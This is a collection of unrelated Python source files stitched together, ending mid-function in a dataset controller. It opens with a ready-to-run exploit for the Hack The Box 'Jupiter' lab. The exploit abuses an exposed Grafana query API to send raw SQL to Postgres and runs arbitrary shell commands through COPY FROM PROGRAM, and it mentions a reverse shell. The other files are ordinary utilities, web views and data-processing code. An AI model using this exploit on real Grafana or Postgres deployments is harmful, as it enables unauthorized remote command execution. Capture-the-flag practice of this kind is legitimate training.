#!/usr/bin/env python3

'''
Jupiter HTB (SQLi)
------------------
Description: Exposed Grafana API query (postgres)
Author: Marss
Repository: https://github.com/E1P0TR0
Date: 07 Sep, 2023
'''

from argparse import ArgumentParser, RawDescriptionHelpFormatter
from json import loads
from random import choices
from requests import get, post
from requests.exceptions import ConnectionError, ConnectTimeout, ReadTimeout
from signal import signal, SIGINT
from string import ascii_letters
from sys import argv

# Debugging
import pdb

# Ctrl + c
signal(SIGINT, lambda signum, frame: exit('\n[-] User aborted'))

# Main class
class Exploit:

    get_rand_str = lambda self, length: ''.join(choices(ascii_letters, k=length))

    def __init__(self, args):

        self.args = args
        self.target = {'domain_url':'http://kiosk.jupiter.htb'}

    def run(self):

        if self.target_response():

            self.search_datasource()

            table_name = self.get_rand_str(5)
            self.send_postgres_query(f'DROP TABLE IF EXISTS {table_name};')
            self.send_postgres_query(f'CREATE TABLE {table_name}(cmd_out text);')
            self.send_postgres_query(f'COPY {table_name} FROM PROGRAM \'{self.args.command}\';')
            self.send_postgres_query(f'SELECT * FROM {table_name};', output=True)
            self.send_postgres_query(f'DROP TABLE IF EXISTS {table_name};')

    def target_response(self):

        try:
            response = get(self.target['domain_url'], timeout=5)

            if response.ok:
                print(f'\n[+] Target up: {response.url}')

            return response.ok

        except ConnectTimeout:
            exit('\n[!] Verify VPN connection.')

        except ConnectionError:
            print(f'\n[x] Cannor resolve: {self.target["domain_url"]}')
            exit('[!] Check the machine connection or resolve the specific domain on your local DNS server (/etc/hosts).')

    def send_postgres_query(self, query, output=False):

        try:
            print(f'[+] Sending query: {query}')

            post_data = {
                'queries':[
                    {
                        'refId':'A',
                        'datasource':{
                            'uid': self.target['ds_uid']
                        },
                        'format':'table',
                        'rawSql': query
                    }
                ]
            }
            response = post(self.target['domain_url'] + '/api/ds/query',
                json=post_data,
                timeout=5)

            if response.status_code != 200:
                exit('\n[x] API response failed.')

            if not output:
                if int(loads(response.text)['results']['A']['status']) == 200:
                    print(f'[+] Query executed!')
                else:
                    exit('\n[x] Query failed.')
            else:
                query_response = loads(response.text)['results']['A']['frames'][0]['data']['values'][0]
                for line in query_response:
                    print(f'\n{line}', end='')
                print('\n')

        except ReadTimeout:
            exit('\n[+] Reverse shell executed.')
        except Exception as error:
            exit('\n[x] Error: ' + repr(error))

    def search_datasource(self):

        response = get(self.target['domain_url'] + '/api/datasources')

        if response.status_code != 200:
            exit('\n[x] API request failed.')

        datasources = loads(response.text)
        for datasource in datasources:
            if datasource['type'] == 'postgres':
                self.target['ds_uid'] = datasource['uid']
            else:
                exit('\n[x] No valid datasource found')

# Main flow
if __name__ == '__main__':

    title = '| Jupiter HTB (SQLi) |'

    parser = ArgumentParser(
        formatter_class=RawDescriptionHelpFormatter,
        epilog=f'''Example:
        python3 {argv[0]} -c "id"
        ''')

    parser.add_argument('-c', '--command', required=True, type=str, help='Command to execute')

    args = parser.parse_args()

    print(title)

    exploit = Exploit(args)
    exploit.run()


# -*- coding: utf-8 -*-
"""
Created on Tue Jun  4 21:12:58 2019

@author: Ruchika
"""

#######################################################################################
############################## Function to find local 2D peak #########################
#######################################################################################

import numpy as np
def peakfinder2D(arr):
#It uses peakfinder1D function
    mid_j = int(arr.shape[1]/2)
    temp_arr = arr[:,mid_j]
    maxx = peakfinder1D(temp_arr)
    i = np.where(temp_arr == maxx)
    print("Array turned to \n" + str(arr))
    print("\n")

    if(arr.shape[1] == 1):# If length of columns is 1 then it has a peak at 0th element
        return arr[i,mid_j]

    elif (arr.shape[1] == 2):#If length of columns is 2 then do comparison with the column 0 element corresponding to row having maxx value
        if (arr[i,mid_j] > arr[i,0]):
            return arr[i,mid_j]
        else:
            return arr[i,0]
    else:
        #If length of columns is greater than 2, use divide and conquer approach
        #If middle element corresponding to ith row is greater than both of its neighboring elements
        if ((arr[i,mid_j] >= arr[i,mid_j+1]) & (arr[i,mid_j] >= arr[i,mid_j-1])):
            return arr[i,mid_j]

        #If middle element corresponding to ith row is greater than its (i,left column) but smaller than (i,right column)
        elif (arr[i,mid_j]<arr[i,mid_j+1] & arr[i,mid_j]>arr[i,mid_j-1]):
            return peakfinder2D(arr[:,mid_j+1:])

        #If middle element corresponding to ith row is greater than its (i,right column) but smaller than (i,left column)
        elif (arr[i,mid_j]>arr[i,mid_j+1] & arr[i,mid_j]<arr[i,mid_j-1]):
            return peakfinder2D(arr[:,:mid_j])

        else:
            #If middle element corresponding to ith row is smaller than both of its neighboring elements
            if (arr[i,mid_j-1] > arr[i,mid_j+1]):
                return peakfinder2D(arr[:,:mid_j])
            else:
                return peakfinder2D(arr[:,mid_j+1:])

#######################################################################################
############################## Function to find local 1D peak #########################
#######################################################################################

# peakfinder1D will be used to find 2D peak
def peakfinder1D(arr):

        mid = int(len(arr)/2) #If list has multiple elements, peak needs to find using divide and conquer approach
        if (len(arr)==1):# If length of array is 1 then it has a peak at 0th element
            return arr[0]
        elif (len(arr) == 2):#If length of array is 2 then do comparison with the element at 0th index
            if arr[mid]>arr[0]:
                return arr[mid]
            else:
                return arr[0]
        else:
                #If length of array is greater than 2, use divide and conquer approach
                #If middle element is greater than both of its neighboring elements
                if ((arr[mid] > arr[mid+1]) & (arr[mid] > arr[mid-1])):
                    return arr[mid]
                #If middle element is greater than its left element but smaller then its right element
                elif ((arr[mid] < arr[mid+1]) & (arr[mid] > arr[mid-1])):
                    return peakfinder1D(arr[mid:])
                #If middle element is greater than its right element but smaller then its left element
                elif ((arr[mid] < arr[mid-1]) & (arr[mid] > arr[mid+1])):
                    return peakfinder1D(arr[:mid])
                #If middle element is smaller than both of its neighboring elements
                else:
                    if (arr[mid-1] > arr[mid+1]):
                        return peakfinder1D(arr[:mid])
                    else:
                        return peakfinder1D(arr[mid:])

#Let's check peakfinder2D function
mat = [x for x in range(25)]
mat = np.reshape(mat,(5,5))
print(peakfinder2D(mat))


from __future__ import print_function

from DBUtils.databaseConnect import DBConnect
from DataTransformUtils.ParserUtils.MailParsers import BenzingaMailParse as bz
from EmailUtils import GmailUtils as GmailUtil

SCOPES = ['https://www.googleapis.com/auth/gmail.readonly']

def main():
    GM = GmailUtil.GmailService()
    results = GM.GetMessageList('from:benzinga',pagetoken=None)

    for messageId in results['messages']:
        messageId = messageId['id']
        messageBody = GM.GetMimeMessage(messageId)
        BZMessage = bz.BzMessage(messageBody)
        print(BZMessage.GetTickersFromMail())

    results2 = GM.GetMessageList('from:benzinga', pagetoken=results['nextPageToken'])

    for messageId in results2['messages']:
        messageId = messageId['id']
        messageBody = GM.GetMimeMessage(messageId)
        BZMessage = bz.BzMessage(messageBody)
        print(BZMessage.GetTickersFromMail())

    themessage = GM.GetMimeMessage(results['messages'][0]['id'])

    BenzingaMessage = bz.BzMessage(themessage)

    #soup = bs4.BeautifulSoup(themessage, features='html.parser')
    #paragraphs = soup.find_all('p')
    #for paragraph in paragraphs:
    #    print(paragraph.text)

    DB = DBConnect()

if __name__ == '__main__':
    main()


import numpy as np
import os
from PIL import Image
from tqdm import tqdm
from osgeo import gdal

TIFF_DIR_PATH = "D:\\BaiduNetdiskDownload\\EVI2"
OUTPUT_PATH = ""

def main():
    data = get_tiff_data_arrays(get_tiff_files(TIFF_DIR_PATH), start_row=0, start_col=0, row_num=1198, col_num=1839)
    ci = calculate_multi_crop_index(data)
    save_as_tiff_2d(ci, "ci")
    return

def get_tiff_files(tiff_file_path):
    """
    read tiff file from a specified directory, and convert them into objects.

    :param tiff_file_path:
      the specified directory.

    :return tiff_file_object_dict:
      a dictionary:
        keys: tiff's DOY(string)
        values: corresponding tiff object
    """

    tiff_file_name_list = []
    tiff_file_object_dict = {}
    for file_name in os.listdir(tiff_file_path):
        if file_name[-5:] == ".tiff":
            tiff_file_name_list.append(file_name)
    total_progress = len(tiff_file_name_list)
    tqdm.write("found " + str(total_progress) + " tiff files.")
    tqdm.write("start converting tiff files to objects.\nsource directory path: " + tiff_file_path)
    progress_bar = tqdm(range(total_progress))
    for file_name in tiff_file_name_list:
        tiff_file_object_dict[int(file_name[:-5])] = Image.open(tiff_file_path + "\\" + file_name)
        progress_bar.update(1)
    progress_bar.close()
    tqdm.write("done.\n_______________________________________________________")
    return tiff_file_object_dict

def get_tiff_data_arrays(tiff_file_object_dict, start_row=0, start_col=0, row_num=2400, col_num=2400):
    """
    convert the data in the tiff file(all or part of the size)
    into a numpy 3d-array that can be processed.
    shape of 3d-array: (tiff file number, row number, column number).

    :param tiff_file_object_dict:
      a dictionary:
        keys: tiff's DOY(string)
        values: corresponding tiff object

    :param start_row:
      start row index

    :param start_col:
      start column index

    :param row_num:
      the number of rows to be processed

    :param col_num:
      the number of column to be processed

    :return tiff_data_arrays:
      a numpy 3d-array
      array element type: float 32
      shape: (tiff file number, row number, column number)
    """

    print(len(tiff_file_object_dict))
    tqdm.write("start extracting data from tiff files.")
    end_row = start_row + row_num
    end_col = start_col + col_num
    tqdm.write("row: " + str(start_row) + " to " + str(end_row - 1))
    tqdm.write("column: " + str(start_col) + " to " + str(end_col - 1))
    tiff_data_arrays = [np.array(array)[start_row:end_row, start_col:end_col]
                        for array in list(tiff_file_object_dict.values())]
    tiff_data_arrays = np.stack(tiff_data_arrays)
    tqdm.write("done.\n_______________________________________________________")
    return tiff_data_arrays

def calculate_multi_crop_index(data_arrays):
    row_num = data_arrays.shape[1]
    col_num = data_arrays.shape[2]

    diff_arrays = np.empty((data_arrays.shape[0] - 1, row_num, col_num))
    for row in range(row_num):
        for col in range(col_num):
            for height in range(data_arrays.shape[0] - 1):
                if data_arrays[height, row, col] < data_arrays[height + 1, row, col]:
                    diff_arrays[height, row, col] = 1
                elif data_arrays[height, row, col] == data_arrays[height + 1, row, col]:
                    diff_arrays[height, row, col] = 0
                elif data_arrays[height, row, col] > data_arrays[height + 1, row, col]:
                    diff_arrays[height, row, col] = -1

    peak_arrays = np.empty((diff_arrays.shape[0] - 1, row_num, col_num))
    for row in range(row_num):
        for col in range(col_num):
            for height in range(diff_arrays.shape[0] - 1):
                if diff_arrays[height + 1, row, col] - diff_arrays[height, row, col] == -1:
                    peak_arrays[height, row, col] = data_arrays[height, row, col]
                elif diff_arrays[height + 1, row, col] - diff_arrays[height, row, col] == -2:
                    peak_arrays[height, row, col] = data_arrays[height, row, col]
                else:
                    peak_arrays[height, row, col] = 0

    multi_crop = np.zeros((row_num, col_num))

    for row in range(row_num):
        for col in range(col_num):
            ind_peak = [index for (index, value) in enumerate(peak_arrays[:, row, col]) if value > 0.3]
            siz_peak = len(ind_peak)
            if siz_peak == 1:
                multi_crop[row, col] = 1
            elif siz_peak == 2:
                if (ind_peak[1] - ind_peak[0]) >= 5*16:
                    multi_crop[row, col] = 2
                else:
                    multi_crop[row, col] = 1
    return multi_crop

def save_as_tiff_2d(data_array, filter_type):
    """
    save data as tiff file.

    :param data_array:
      type: numpy 2d-array
      array element type: float 32
      shape: (row number, column number)

    :param filter_type:
      type: string
      the type of smoothing filter to applied to the data.

    :return:
      none.
    """

    row_num = data_array.shape[0]
    col_num = data_array.shape[1]
    tqdm.write("start saving data to tiff file.")

    driver = gdal.GetDriverByName('GTiff')
    output_path = ""
    if OUTPUT_PATH == "":
        output_path = TIFF_DIR_PATH + "\\" + filter_type
    if not os.path.exists(output_path):
        os.mkdir(output_path)
    tqdm.write("output directory path: " + output_path)

    output_file_name = output_path + "\\" + filter_type + ".tiff"
    created_raster = driver.Create(output_file_name, col_num, row_num, 1, gdal.GDT_Float32)
    # created_raster.SetNoDataValue(INVALID_VALUE)
    # created_raster.GetRasterBand(1).SetNoDataValue(INVALID_VALUE)
    created_raster.GetRasterBand(1).WriteArray(data_array)
    tqdm.write("done.\n_______________________________________________________")
    return

if __name__ == '__main__':
    main()


"""
This application convert Celcius degrees to Fahrenheit degrees
"""
#function to check if user input is a valid temperature and convertion to Fahrenheit
def CtoF(celcius):
    if float(celcius) > -273.15:
        Fahrenheit = float(celcius)*9/5+32
        return Fahrenheit
    else:
        return ("Can't get under -273.15 Celcius")

celcius = input("Give me Celcius degrees: ")
print (celcius, "Celcius degrees are ", CtoF(celcius),  " Fahrenheit degrees")

input("Press enter to exit ")


import streamlit as st
import numpy as np
import pandas as pd
import os

from constants import QUESTIONS_Dir, ANSWER_Dir, QUESTIONS_File, SUB_Question_File, SCORE_Dir, IDEAL_Dir , SESSION_File

from helper import write_session ,init_variables,update_score, estimate_similarity, get_key, highlight_text, add_ideal_answer, add_highlights

from preload_cache import prerun_inference

if __name__=='__main__':

    (curr_question_num, curr_student_num,curr_question,curr_student, curr_question_text ,
     questions, answer_files,  curr_answer, subquestions_list,curr_score )= init_variables()
    if st.button('Run inference'):
        prerun_inference()

    selected_question = st.sidebar.selectbox(
    "Select the question ?",
    (questions.pop(curr_question_num), *questions)
    )

    selected_question_num = int(selected_question.split("Q")[1])-1

    st.title('Evaluation Assistant')
    reg_num = curr_student.split(".")[0]
    st.subheader(f"{reg_num}")

    st.header(f"Q) {curr_question_text}")

    keys = list()
    highlight_positions = list()

    for subquestion in subquestions_list:
        resp = get_key(curr_question_text , curr_answer, subquestion)
        keys.append(resp["answer"])
        highlight_positions.append((resp['start'], resp['end']))

    markdown_writer = add_highlights(curr_answer, sorted(highlight_positions, key=lambda x: x[0]) )
    st.markdown(markdown_writer)

    add_to_ideal = st.sidebar.button("Add to Ideal Answer")

    if(add_to_ideal):
        add_ideal_answer(QUESTIONS_Dir, curr_question, IDEAL_Dir, curr_answer)

    for question, key in zip(subquestions_list, keys):
        st.sidebar.text_input("",question)
        st.sidebar.write(key)

    st.markdown("___")
    col21, col22 = st.beta_columns(2)

    raw_semantic_score = estimate_similarity(QUESTIONS_Dir, curr_question, IDEAL_Dir, curr_answer)
    if(raw_semantic_score):
        semantic_sim_socre = round(raw_semantic_score*100, 2)
        col21.markdown(f"*Semantic Similarity Score **{semantic_sim_socre}%** *")

    else:
        col21.markdown("No ideal answers added !")

    if(curr_score):
        updated_score = col22.number_input('Enter score', value = float(curr_score))

    else:
        updated_score = col22.number_input('Enter score')

    if(updated_score and updated_score!=curr_score):
        update_score(QUESTIONS_Dir, curr_question, SCORE_Dir, curr_student , updated_score)

    col1, col2 = st.beta_columns(2)
    back_bool = col1.button("back")
    next_bool = col2.button("next")

    if(back_bool):
        if(curr_student_num==0):
            st.text("This is the first file")
        else:
            curr_student_num-=1
            write_session(SESSION_File, curr_student_num, selected_question_num)

    if(next_bool):
        if(curr_student_num==len(answer_files)-1):
            st.text("This is the last file")
        else:
            curr_student_num+=1
            write_session(SESSION_File, curr_student_num, selected_question_num)

    if(selected_question_num!=curr_question_num):
        write_session(SESSION_File, curr_student_num, selected_question_num)


from app import app
from flask import render_template, request
from app.models import model, formopener

@app.route('/')
@app.route('/index')
def index():
    return render_template("index.html")

@app.route('/question',methods= ['GET','POST'])
def question():
    if request.method == "GET":
        return "Use the form"
    else:
        city = request.form['city']
        #print (city)
        date = request.form['date']
        #print (date)
        #print (model.concerts)
        concerts=model.concerts[city]
        # if(city == 'New York":
        siteseeing= model.siteseeing[city]
        restaurants= model.restaurants[city]
        # print (model.resturants[city])
        #     return
        # else:

        return render_template("concerts.html",concerts=concerts,siteseeing=siteseeing,restaurants=restaurants,city=city)
        #return ("debugging")

@app.route('/location')
def location():
    return render_template("location.html")


from django.shortcuts import render
from django.views import View
from django.core.paginator import Paginator

from support.models import Settings
from support.extras.mixins import AdminGroupRequiredMixin

class SettingsView(AdminGroupRequiredMixin, View):
    def get(self, request, page=1, page_size=20):
        errors = list()
        staff_user = request.user

        pagination = Paginator(Settings.all(), page_size)

        if page > pagination.num_pages or page < 1:
            settings = list()
            errors.append({
                'text': f'Страница #{page} не существует',
                'description': None,
            })
        else:
            settings = pagination.page(page).object_list

        context = {
            "settings": settings,
            "pagination": {
                "page": page,
                "pages_count": pagination.num_pages,
                "list": [i for i in range(max(1, page - 2), min(page + 2, pagination.num_pages) + 1)],
                "base_url": "/settings/page/",
            },
            "page_title": "Настройки",
            "staff_user": staff_user,
            "errors": errors,
        }
        return render(request, "settings.html", context=context)


class Solution:
    def divide(self, dividend: int, divisor: int) -> int:
        if dividend == -2147483648 and divisor == -1:
            return 2147483647
        sign = -1 if((dividend < 0) ^ (divisor < 0)) else 1
        dividend = abs(dividend)
        divisor = abs(divisor)
        quotient = 0
        temp = 0
        for i in range(31, -1, -1):
            if (temp + (divisor << i) <= dividend):
                temp += (divisor << i)
                quotient |= 1 << i
        return sign  * quotient


from io import StringIO
from app.db.dataset import DatasetDBManager
from .binary_store import BinaryStore
from typing import Union
from bson.objectid import ObjectId
import time
import os
from fastapi import HTTPException, status
from app.utils.helpers import custom_index
from app.db.deviceAPi import DeviceApiManager
import requests
import random
from app.controller.labelingController import createLabeling
from fastapi import UploadFile
from app.utils.CsvParser import CsvParser
import traceback
from pydantic import BaseModel, Field
from typing import Dict, List, Optional
import json
import pandas as pd
from app.db.labelings import LabelingDBManager
from io import BytesIO
from app.internal.config import RAW_UPLOAD_DATA

class FileDescriptor(BaseModel):
    name: str
    size: int
    drop: List[str]
    time: List[str]

class CSVLabel(BaseModel):
    start: str
    end: str
    name: str
    metaData: Optional[Dict[str, str]] = Field(default={})

class CsvLabeling(BaseModel):
    name: str
    labels: List[CSVLabel]

class CSVDatasetInfo(BaseModel):
    name: str
    files: List[FileDescriptor]
    labeling: Optional[CsvLabeling]
    metaData: Optional[Dict[str, str]]
    saveRaw: bool = Field(default=False)

class EdgeMLCSVDatasetInfo(BaseModel):
    name: str
    files: List[FileDescriptor]

class DatasetController():

    def __init__(self):

        if not os.path.exists("DATA"):
            os.mkdir("DATA")

        self.dbm = DatasetDBManager()
        self.deviceAPI = DeviceApiManager()
        self.dbm_labeling = LabelingDBManager()

    def _splitMeta_Data(self, timeSeries):
        tsValues = timeSeries["data"]
        metaData = timeSeries
        del metaData["data"]
        return metaData, tsValues

    def _convertObejctIdsToStr(self, data):
        data["projectId"] = str(data["projectId"])
        data["_id"] = str(data["_id"])
        for i, t in enumerate(data["timeSeries"]):
            data["timeSeries"][i]["_id"] = str(t["_id"])
        return data

    def getDatasetById(self, dataset_id, project, onlyMeta=False):
        # Read dataset from database
        datasetMeta = self.dbm.getDatasetById(dataset_id, project)
        if onlyMeta:
            return datasetMeta
        for t in datasetMeta["timeSeries"]:
            binStore = BinaryStore(t["_id"])
            binStore.loadSeries()
            data = binStore.getFull()
            t["data"] = [[x, y] for x, y in zip(data["time"].tolist(), data["data"].tolist())]
        return datasetMeta

    def addDataset(self, dataset, project, user_id=None):
        datasetMeta = dataset
        datasetMeta["projectId"] = ObjectId(project)
        if user_id is not None:
            datasetMeta["userId"] = ObjectId(user_id)
            newDatasetMeta = self.dbm.addDataset(datasetMeta)
        try:
            for i, (t, newt) in enumerate(zip(datasetMeta["timeSeries"], newDatasetMeta["timeSeries"])):
                metaData, tsValues = self._splitMeta_Data(t)
                if isinstance(tsValues, zip):
                    tsValues = list(tsValues)
                binStore = BinaryStore(newt["_id"])
                start, end, sampling_rate, length = binStore.append(tsValues)
                newDatasetMeta["timeSeries"][i]["start"] = start
                newDatasetMeta["timeSeries"][i]["end"] = end
                newDatasetMeta["timeSeries"][i]["length"] = length
                newDatasetMeta["timeSeries"][i]["samplingRate"] = sampling_rate
            newDatasetMeta = self.dbm.updateDataset(newDatasetMeta["_id"], newDatasetMeta["projectId"], newDatasetMeta)
        except Exception as e:
            self.dbm.deleteDatasetById(project, newDatasetMeta["_id"])
            raise e
        return newDatasetMeta

    def _convertTimeSeriesObjectIdToStr(self, ts_array):
        res = []
        for t in ts_array:
            t["_id"] = str(t["_id"])
            res.append(t)
        return res

    def getDatasetInProject(self, projectId, includeTimeseriesData=False):
        datasets = self.dbm.getDatasetsInProjet(projectId)
        datasets = list(datasets)
        if not includeTimeseriesData:
            return datasets

        labelings = self.dbm_labeling.get(projectId)
        labeling_mapping = {entry['_id']: entry['name'] for entry in labelings}
        label_mapping = {}
        for entry in labelings:
            for label in entry['labels']:
                label_mapping[label['_id']] = label['name']
        datasets_with_timeseries = []
        for dataset in datasets:
            ds = self.getDatasetById(dataset['_id'], projectId, False)
            ds['labelings'] = [{'labeling': labeling_mapping[labeling['labelingId']],
                    'labels': [{'start': label['start'],
                                'end': label['end'],
                                'label': label_mapping[label['type']]}
                               for label in labeling['labels']]}
                   for labeling in ds['labelings']]
            datasets_with_timeseries.append(ds)
        return datasets_with_timeseries

    def getTimeSeriesData(self, projectId, datasetId, timeSeriesId):
        dataset = self.dbm.getDatasetById(datasetId, projectId)

        binStore = BinaryStore(timeSeriesId)
        return binStore.getHdf5Stream()

    def deleteDataset(self, id, projectId):
        ts_ids = self.dbm.deleteDatasetById(projectId, id)
        for id in ts_ids:
            binStore = BinaryStore(id)
            binStore.delete()

    def updateDataset(self, id, projectId, dataset):
        return self.dbm.updateDataset(id, projectId, dataset)

    def getDataSetByIdStartEnd(self, id, projectId, start, end, max_resolution):
        dataset = self.dbm.getDatasetById(id, project_id=projectId)
        ts_ids = [x["_id"] for x in dataset["timeSeries"]]
        res = []
        for t in ts_ids:
            binStore = BinaryStore(t)
            binStore.loadSeries()
            d = binStore.getPart(start, end, max_resolution)
            res.append(d)
        return res

    def getDatasetTimeSeriesStartEnd(self, dataset_id, ts_id, project_id, start, end, max_resolution):
        dataset = self.dbm.getDatasetById(dataset_id, project_id=project_id)
        dataset_ids = [str(x["_id"]) for x in dataset["timeSeries"]]
        res = []
        for t in ts_id:
            if str(t) not in dataset_ids:
                raise HTTPException(status.HTTP_404_NOT_FOUND)
            binStore = BinaryStore(t)
            binStore.loadSeries()
            res.append(binStore.getPart(start, end, max_resolution))
        return res

    def append(self, id, project, body, projectId):
        dataset = self.dbm.getDatasetById(id, project)
        datasetIds = [x["_id"] for x in dataset["timeSeries"]]
        sendIds = [ObjectId(x["_id"]) for x in body]
        if set(datasetIds) != set(sendIds):
            raise HTTPException(status.HTTP_401_UNAUTHORIZED, detail="Authentication failed")

        for ts in body:
            binStore = BinaryStore(ts["_id"])
            binStore.loadSeries()
            tmpStart, tmpEnd, sampling_rate, length  = binStore.append(ts["data"])
            idx = custom_index(dataset["timeSeries"], lambda x: ObjectId(x["_id"]) == ObjectId(ts["_id"]))
            oldStart = dataset["timeSeries"][idx]["start"]
            oldEnd = dataset["timeSeries"][idx]["end"]
            dataset["timeSeries"][idx]["start"] = min(oldStart, tmpStart) if oldStart is not None else tmpStart
            dataset["timeSeries"][idx]["end"] = max(oldEnd, tmpEnd) if oldEnd is not None else tmpEnd
            dataset["timeSeries"][idx]["length"] = length
            dataset["timeSeries"][idx]["samplingRate"] = sampling_rate
        self.dbm.updateDataset(id, project, dataset=dataset)
        return

    def CSVUpload(self, file: UploadFile, config: dict, project: str, user_id: str):
        name = config['name'] if config['name'] else (
            file.filename[:-4] if file.filename.endswith('.csv') else file.filename)
        df = pd.read_csv(file.file)
        df.columns = df.columns.str.strip()
        parser = CsvParser(df=df)
        timestamps, sensor_data, label_data, sensor_names, labeling_label_list, labelings, units = parser.to_edge_ml_format(config)

        if sensor_data is None:
            raise HTTPException(status.HTTP_400_BAD_REQUEST,
                                detail="The file has no data")

        # look up table to get id and labeling id it belongs from label name
        label_id_labeling = {}
        for labeling in labelings.keys():
            # format labels for the current labeling in loop
            labelsInDBFormat = [{
                'name': label,
                'color': "#%06x" % random.randint(0, 0xFFFFFF),
                'isNewLabel': True
            } for label in labelings[labeling]]

            labelingInDB = createLabeling(project, {"name": labeling, "labels": labelsInDBFormat})
            for label in labelingInDB['labels']:
                label_name = label['name']
                if label_name not in label_id_labeling:
                    label_id_labeling[label_name] = {'labelingId': labelingInDB['_id'], '_id': label['_id']}

        labelingsInDatasetFormat = {}
        for label_idx, data in enumerate(label_data):
            idx = 0
            assert len(data) == len(timestamps), 'Label column length does not match timestamp column length'
            data_length = len(data)
            # intervals for the current label
            intervals = []
            # labeling_label_list has the following format: labeling_label
            # extract only label
            label_name = labeling_label_list[label_idx].split('_')[1]
            labelingId = label_id_labeling[label_name]['labelingId']
            while idx < data_length:
                if data[idx] == 'x':
                    start = timestamps[idx]
                    while idx < data_length and data[idx] == 'x':
                        idx += 1
                    end = timestamps[idx - 1]
                    intervals.append((start, end))
                idx += 1
            if labelingId not in labelingsInDatasetFormat:
                    labelingsInDatasetFormat[labelingId] = []
            for start, end in intervals:
                labelingsInDatasetFormat[labelingId].append({
                    'type': label_id_labeling[label_name]['_id'],
                    'start': start,
                    'end': end,
                })

        labelingsInDatasetFormat = [{
            'labelingId': labelingId,
            'labels': labelingsInDatasetFormat[labelingId],
        } for labelingId in labelingsInDatasetFormat.keys()]

        dataset = {
            'name': name,
            'timeSeries': [{
                'name': sensor,
                'start': timestamps[0],
                'end': timestamps[-1],
                'unit': units[sensor_idx],
                'data': zip(timestamps, sensor_data.iloc[:, sensor_idx]) # TODO: remove list to increase performance
            } for sensor_idx, sensor in enumerate(sensor_names)],
            'labelings': labelingsInDatasetFormat
        }
        metadata = self.addDataset(dataset, project=project, user_id=user_id)
        return metadata

    def externalUpload(self, api_key, user_id, body):
        # Get labels from dataset
        dataset = body
        datasetLabels = body["labeling"]["labels"]
        labelingName = body["labeling"]["name"]
        uniquelabels = list(set([x["name"] for x in datasetLabels]))

        # Check if api_key has access rights
        deviceApi = self.deviceAPI.get(api_key)
        project_id = deviceApi["projectId"]
        dataset["userId"] = deviceApi["userId"]

        color_dict = {x: "#%06x" % random.randint(0, 0xFFFFFF) for x in uniquelabels}

        for l in datasetLabels:
            l["color"] = color_dict[l["name"]]
        labeling = createLabeling(project_id, {"name": labelingName, "labels": datasetLabels})
        typeDict = {x["name"]: x["_id"] for x in labeling["labels"]}
        for l in datasetLabels:
            l["type"] = typeDict[l["name"]]
        dataset["labelings"] = [{"labelingId": labeling["_id"], "labels": datasetLabels}]
        metadataset = self.addDataset(dataset=dataset, project=project_id, user_id=user_id)
        return metadataset["_id"]

    def deleteProjectDatasets(self, project):
        datasets = self.dbm.getDatasetsInProjet(project)

        for dataset in datasets:
            timeSeriesIDs = [x["_id"] for x in dataset["timeSeries"]]

            for d in timeSeriesIDs:
                binStore = BinaryStore(d)
                binStore.delete()
        self.dbm.deleteProject(project)

    # Upload whole datasets
    async def receiveFileInfoAndCSV(self, websocket, projectId, userId, dataModel = CSVDatasetInfo):
        transmitting = True
        files_byte = bytearray()
        while transmitting:
            info = await websocket.receive_text()
            info = json.loads(info)
            info = dataModel.parse_obj(info)
            total_size = sum([x.size for x in info.files])
            while True:
                data = await websocket.receive_bytes()
                files_byte += data
                if len(files_byte) == total_size:
                    transmitting = False
                    break
        return info, files_byte

    def generateLabeling(self, projectId, labeling : CsvLabeling):
        unique_labels_names = [x.name for x in labeling.labels]
        unique_labels = [{"name": x, "color": f'#{"%06x" % random.randint(0, 0xFFFFFF)}'} for x in unique_labels_names]
        return createLabeling(projectId, {"name": labeling.name, "labels": unique_labels})

    async def uploadDatasetDevice(self, info, files, projectId, userId):
        try:
            info = CSVDatasetInfo.parse_obj(info)
            dataset_name = info.name
            labeling = info.labeling
            file_info = info.files

            # Add new labeling to the db
            if labeling:
                print("using labels")
                newLabeling = self.generateLabeling(projectId=projectId, labeling=labeling)

                label_type_map = {x["name"]: x["_id"] for x in newLabeling["labels"]}

                # Assign the type to each dataset-label
                dataset_labels = labeling.dict(by_alias=True)["labels"]
                for x in dataset_labels:
                    x["type"] = label_type_map[str(x["name"])]

            # Process each csv-file in the dataset
            start_idx = 0
            tsIds = []
            starts = []
            ends = []
            sampling_rates =[]
            lengths = []
            headers = []
            file_names = []

            try:
                for i, f_info in enumerate(file_info):
                    bin = await files[i].read()
                    start_idx += f_info.size
                    file = CsvParser(bin, drop=f_info.drop, time=f_info.time)
                    time, data, header = file.to_edge_ml()
                    if time is None: # Dataset empty
                        continue

                    # Process each time-series in the dataset
                    for d, h in zip(data, header):
                        tsId = ObjectId()
                        tsIds.append(tsId)
                        binStore = BinaryStore(tsId)
                        start, end, sampling_rate, length = binStore._appendValues(time, d)
                        starts.append(start)
                        ends.append(end)
                        sampling_rates.append(sampling_rate)
                        lengths.append(length)
                        headers.append(h)
                        file_names.append(f_info.name)
            except Exception as e:
                # Delete all saved datasets when there is an exception
                for tsId in tsIds:
                    BinaryStore(tsId).delete()
                raise HTTPException(status.HTTP_500_INTERNAL_SERVER_ERROR)

            dataset_labeling = [{"labelingId": newLabeling["_id"], "labels": dataset_labels}] if labeling else []
            timeSeries = [{"start": s, "end": e, "_id": tid, "name": fName + "_" + h, "samplingRate": s_rate, "length": l} for s, e, tid, fName, h, s_rate, l in zip(starts, ends, tsIds, file_names, headers, sampling_rates, lengths)]
            dataset = {"name": dataset_name, "userId": userId, "projectId": projectId, "start": min(starts), "end": max(ends), "timeSeries": timeSeries,
            "labelings": dataset_labeling, "metaData": info.metaData}
            try:
                newDatasetMeta = self.dbm.addDataset(dataset)
            except:
                for tsId in tsIds:
                    BinaryStore(tsId).delete();
                    raise e
            return True
        except Exception as e:
            print("Error", e)
            traceback.print_exc()
            raise HTTPException(status.HTTP_500_INTERNAL_SERVER_ERROR)

    def getCSV(self, projectId, dataset_id):
        dataset = self.dbm.getDatasetById(dataset_id, projectId)
        fileName = dataset["name"]
        timeSeries = dataset["timeSeries"]
        final_df = None
        for ts in timeSeries:
            binStore = BinaryStore(ts["_id"])
            binStore.loadSeries()
            ts_data = binStore.getFull()
            df = pd.DataFrame(ts_data)
            if final_df is None:
                final_df = df
            else:
                final_df = pd.merge(final_df, df, how="outer", on='time')
            final_df.columns = [*final_df.columns[:-1], "sensor_" + ts["name"]]

        final_df.set_index("time", inplace=True)

        # Add labelings
        for labeling in dataset["labelings"]:
            # Get labeling from db
            labeling_definition = self.dbm_labeling.get_single(projectId, labeling["labelingId"])
            labeling_name = labeling_definition["name"]
